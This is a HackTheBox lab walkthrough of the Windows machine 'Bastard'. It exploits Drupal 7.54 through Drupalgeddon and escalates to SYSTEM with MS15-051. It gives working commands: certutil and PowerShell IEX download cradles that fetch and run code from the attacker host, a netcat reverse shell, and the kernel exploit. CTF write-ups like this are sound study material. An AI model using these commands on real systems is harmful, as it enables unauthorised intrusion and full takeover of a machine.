Buy me a tea

Hackthebox - Bastard

  • Windows

Bastard

Nmap

Port 80

Home

  • We have a login page

  • The robots.txt file has a lot of entries

  • From this we see that we have a parameter q to query for specific pages and we have an idea of the sitemap

  • It seems to be using Drupal 7 drupal

  • It does indeed we can find a changelog file and it mentions version 7.54 Drupal exact

Searchsploit on drupal

Searchsploit

  • This version seems to be vulnerable to RCE. And it has a PoC

  • We should try to explore more and find credentials because the exploit closer to our version is authenticated.

  • We can take the 44449 in ruby searchsploit -m 44449 .

If like me you get this error <internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:85:in require': cannot load such file -- highline/import (LoadError) You need to install highline withsudo gem install highline`

  • When just need to run and we will have command execution

Drupalggedon

  • We have a user named dimitris. We can grab the user flag

user

  • We get a netcat binary in our target (we serve it using python and get it with certutil) certutil.exe -urlcache -f http://10.10.14.9/nc.exe nc.exe

  • Let's get a more interactive shell nc.exe -e cmd.exe 10.10.14.9 4444 (we also need to setup a listener rlwrap nc -lvp 4444)

shell

  • We get a better shell

better shell

  • We have some creds in sites\default\settings.php

Privesc

  • Here are the systeminfo

  • We can run winpeas. We will use the bat version because the exe does not work. (not really helpful here)

  • We can try sherlock that can be found here or here on kali if you have empire installed: /usr/share/powershell-empire/empire/server/data/module_source/privesc/Sherlock.ps1

  • cp /usr/share/powershell-empire/empire/server/data/module_source/privesc/Sherlock.ps1 /home/kali/Documents/hackthebox/bastard copying it to my working directory

  • At the end of the script we need to add a line Find-AllVulns like this Sherlock.ps1

  • echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3/Sherlock.ps1') | powershell -noprofile - We download our script and execute it. And it works we get a lot of info.

  • We find 2 possible exploits

MS15-051

  • The given exploit by sherlock requires metasploit. If we search around a little we find this article that gives an exploit without metasploit

  • wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip get the exploit in our kali

  • unzip MS15-051-KB3045171.zip we unzip it

  • certutil.exe -urlcache -f http://10.10.14.3/ms15-051x64.exe exploit64.exe we get the exploit (we need x64 see systeminfo above)

  • We launch it it needs a command we will use cmd exploit64.exe cmd and get an autority system shell. We could also have used a command like nc.exe IP-OF-KALI PORT -e cmd.exe and we would get a reverse shell as system (do not forget to set up a listener if you do this) whoami

  • We just need to grab the root flag type C:\Users\Administrator\Desktop\root.txt root flag

PreviousHackthebox - BackendTwoNextHackthebox - Bastion

Last updated